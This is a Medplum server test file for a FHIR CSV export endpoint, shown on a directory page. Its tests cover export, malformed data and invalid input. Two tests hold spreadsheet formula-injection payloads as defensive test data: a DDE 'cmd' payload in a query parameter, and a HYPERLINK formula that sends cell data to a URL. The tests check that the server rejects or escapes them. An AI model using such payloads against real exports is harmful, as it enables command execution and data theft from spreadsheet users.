Skip to main content
Glama
csv.test.ts6.44 kB
// SPDX-FileCopyrightText: Copyright Orangebot, Inc. and Medplum contributors // SPDX-License-Identifier: Apache-2.0 import { ContentType } from '@medplum/core'; import type { ServiceRequest } from '@medplum/fhirtypes'; import { randomUUID } from 'crypto'; import express from 'express'; import request from 'supertest'; import { initApp, shutdownApp } from '../../app'; import { loadTestConfig } from '../../config/loader'; import { initTestAuth } from '../../test.setup'; const app = express(); let accessToken: string; describe('CSV Export', () => { beforeAll(async () => { const config = await loadTestConfig(); await initApp(app, config); accessToken = await initTestAuth({ project: { strictMode: false } }); }); afterAll(async () => { await shutdownApp(); }); test('Export Patient', async () => { // Create a patient that we want to export const res1 = await request(app) .post(`/fhir/R4/Patient`) .set('Authorization', 'Bearer ' + accessToken) .set('Content-Type', ContentType.FHIR_JSON) .send({ resourceType: 'Patient', name: [ { given: ['Alice'], family: 'Smith', }, ], address: [ { use: 'home', line: ['123 Main St'], city: 'Anywhere', state: 'CA', postalCode: '90210', }, ], telecom: [ { system: 'phone', value: '555-555-5555', }, { system: 'email', value: 'alice@example.com', }, ], }); expect(res1.status).toBe(201); // Also create an empty patient to make sure we handle missing values const res2 = await request(app) .post(`/fhir/R4/Patient`) .set('Authorization', 'Bearer ' + accessToken) .set('Content-Type', ContentType.FHIR_JSON) .send({ resourceType: 'Patient', }); expect(res2.status).toBe(201); const res3 = await request(app) .get(`/fhir/R4/Patient/$csv?_fields=id,name,address,email,phone`) .set('Authorization', 'Bearer ' + accessToken); expect(res3.status).toBe(200); expect(res3.text).toContain(res1.body.id); expect(res3.text).toContain(res2.body.id); expect(res3.text).toContain('123 Main St'); expect(res3.text).toContain('555-555-5555'); expect(res3.text).toContain('alice@example.com'); }); test('Export ServiceRequest', async () => { const serviceRequest: ServiceRequest = { resourceType: 'ServiceRequest', status: 'active', intent: 'order', subject: { reference: 'Patient/' + randomUUID(), display: 'Alice Smith', }, code: { coding: [ { system: 'https://example.com', code: 'test1', display: 'test1', }, ], }, orderDetail: [ { text: 'Shipped', }, ], }; // Create a service requeset that we want to export const res1 = await request(app) .post(`/fhir/R4/ServiceRequest`) .set('Authorization', 'Bearer ' + accessToken) .set('Content-Type', ContentType.FHIR_JSON) .send(serviceRequest); expect(res1.status).toBe(201); const res3 = await request(app) .get(`/fhir/R4/ServiceRequest/$csv?_fields=id,subject,code,orderDetail`) .set('Authorization', 'Bearer ' + accessToken); expect(res3.status).toBe(200); expect(res3.text).toContain(res1.body.id); expect(res3.text).toContain('Alice Smith'); expect(res3.text).toContain('test1'); expect(res3.text).toContain('Shipped'); }); test('Handle malformed data', async () => { const serviceRequest: ServiceRequest = { resourceType: 'ServiceRequest', status: 'active', intent: 'order', subject: { reference: 'Patient/' + randomUUID(), display: 'Alice Smith', }, code: { coding: [ { system: 'https://example.com', code: ['test1'] as unknown as string, // Force malformed data }, ], }, orderDetail: [ { text: 'Shipped', }, ], }; // Create a service requeset that we want to export const res1 = await request(app) .post(`/fhir/R4/ServiceRequest`) .set('Authorization', 'Bearer ' + accessToken) .set('Content-Type', ContentType.FHIR_JSON) .send(serviceRequest); expect(res1.status).toBe(201); const res3 = await request(app) .get( `/fhir/R4/ServiceRequest/$csv?_fields=id,subject,code,orderDetail&subject=${serviceRequest.subject?.reference}` ) .set('Authorization', 'Bearer ' + accessToken); expect(res3.status).toBe(200); expect(res3.text).toContain(res1.body.id); expect(res3.text).toContain('Alice Smith'); expect(res3.text).toContain('Shipped'); expect(res3.text).not.toContain('test1'); }); test('Invalid resource type', async () => { const res = await request(app) .get(`/fhir/R4/Patientx/$csv`) .set('Authorization', 'Bearer ' + accessToken); expect(res.status).toBe(400); }); test('Invalid query string param', async () => { const res = await request(app) .get(`/fhir/R4/Patient/$csv?_count=20&_fields=id,_lastUpdated,=cmd|'/C%20calc'!A0&_offset=0&_sort=-_lastUpdated`) .set('Authorization', 'Bearer ' + accessToken); expect(res.status).toBe(400); expect(res.body.issue[0].details.text).toStrictEqual('Invalid FHIRPath expression'); }); test('Escape formula string', async () => { // Create a patient that we want to export const res1 = await request(app) .post(`/fhir/R4/Patient`) .set('Authorization', 'Bearer ' + accessToken) .set('Content-Type', ContentType.FHIR_JSON) .send({ resourceType: 'Patient', gender: '=HYPERLINK("http://localhost:8181/?data="&F3,"Click Me")', }); expect(res1.status).toBe(201); const res3 = await request(app) .get(`/fhir/R4/Patient/$csv?_fields=id,gender`) .set('Authorization', 'Bearer ' + accessToken); expect(res3.status).toBe(200); expect(res3.text).toContain(res1.body.id); // Note the escaped quotes and single quote prefix expect(res3.text).toContain(`"'=HYPERLINK(""http://localhost:8181/?data=""&F3,""Click Me"")"`); }); });

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/medplum/medplum'

If you have feedback or need assistance with the MCP directory API, please join our Discord server